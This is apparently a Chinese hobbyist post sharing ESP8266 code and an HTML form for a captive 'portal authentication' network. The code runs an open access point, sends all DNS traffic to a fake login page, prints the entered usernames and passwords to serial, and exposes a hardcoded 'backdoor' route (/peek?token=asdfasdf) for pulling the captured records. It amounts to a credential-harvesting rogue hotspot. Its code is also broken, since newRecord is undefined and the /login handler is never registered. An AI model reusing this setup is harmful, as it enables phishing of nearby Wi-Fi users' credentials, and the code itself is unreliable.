可以搭建小型protal认证的网络,不过可能得做一套esp集群才能发挥作用(esp8266的能力真的太差了,连维持稳定的连接都不一定能保持)不过好在是能完成前后端交互尽管还不够高效。但是可以在这个基础上进一步去完成一些复杂的毕设。
一开始试过用#include "EEPROM.h" 然而这个遇上了未知bug,还没排查明白,如果有人能知道为什么就还请麻烦为我解释一下
仅供参考,用户数据无法储存,断电丢失。
后端代码
#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <FS.h> // 用于SPIFFS文件系统
#include <DNSServer.h>
const char* ssid = "any";
const char* password = "";
IPAddress local_IP(IPAddress(192,168,1,1));
const byte DNS_PORT = 53;
ESP8266WebServer server(80);
DNSServer dnsServer;
const char login_html[] PROGMEM = R"=====(
//插入你的HTML代码
)=====";
void handleRoot() {
// 发送登录页面
server.send_P(200, "text/html", login_html); // 假设login_html是存储了
Serial.println("connect");
}
void handleLogin() {
String msg;
if (server.hasArg("username") && server.hasArg("password")) {
// 参数正常
String username = server.arg("username");
username.replace("\"", ""); // 去掉双引号
String password = server.arg("password");
password.replace("\"", ""); // 去掉双引号
// 回应浏览器
server.send(200, "text/html", login_html);
// 输出到串口
Serial.println(username + "|---|" + password);
return;
} else {
// 参数缺失
// 回应浏览器
String replyStr = "{\"code\":10001,\"msg\":\"missing parameter\"}";
server.send(200, "application/json", replyStr);
// 输出到串口
Serial.println("username or password is empty");
return;
}
}
void handlePeek() {
String msg;
if (server.hasArg("token")) {
// 后门参数
String token = server.arg("token");
if (token.equals("asdfasdf")) {
// 回应浏览器
//new = reset();
String replyStr = "{\"code\":10000,\"msg\":\"ok\",\"data\":\"" + newRecord + "\"}";
server.send(200, "application/json", replyStr);
return;
}
}
// 回应浏览器
String replyStr = "{\"code\":10001,\"msg\":\"bad request\"}";
server.send(200, "application/json", replyStr);
// 输出到串口
Serial.print("bad request");
}
void setup() {
Serial.begin(115200);
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(local_IP, local_IP, IPAddress(255, 255, 255, 0));
WiFi.softAP(ssid, password);
dnsServer.start(DNS_PORT, "*", local_IP);
server.on("/", HTTP_GET, handleRoot); //设置主页回调函数
server.on("/peek", handlePeek);
server.onNotFound(handleRoot);
server.begin(); // 启动服务器
}
void loop() {
server.handleClient(); // 处理客户端请求
dnsServer.processNextRequest();
}
前端代码接口
<html>
<meta charset="UTF-8">
<hr>
测试登陆:
<form method="post" action="/login">
用户名:<input type="text" name="username"/><br>
密码:<input type="password" name="password"/><br>
<input type="submit" value="登陆"/>
</form>
<hr>
测试提取:
<form method="post" action="/peek">
<input type="hidden" name="token" value="asdfasdf"/><br>
<input type="submit" value="提取"/>
</form>
</html>
获得记录命令:打开跳转的地址然后再后面接上:
/peek?token=asdfasdf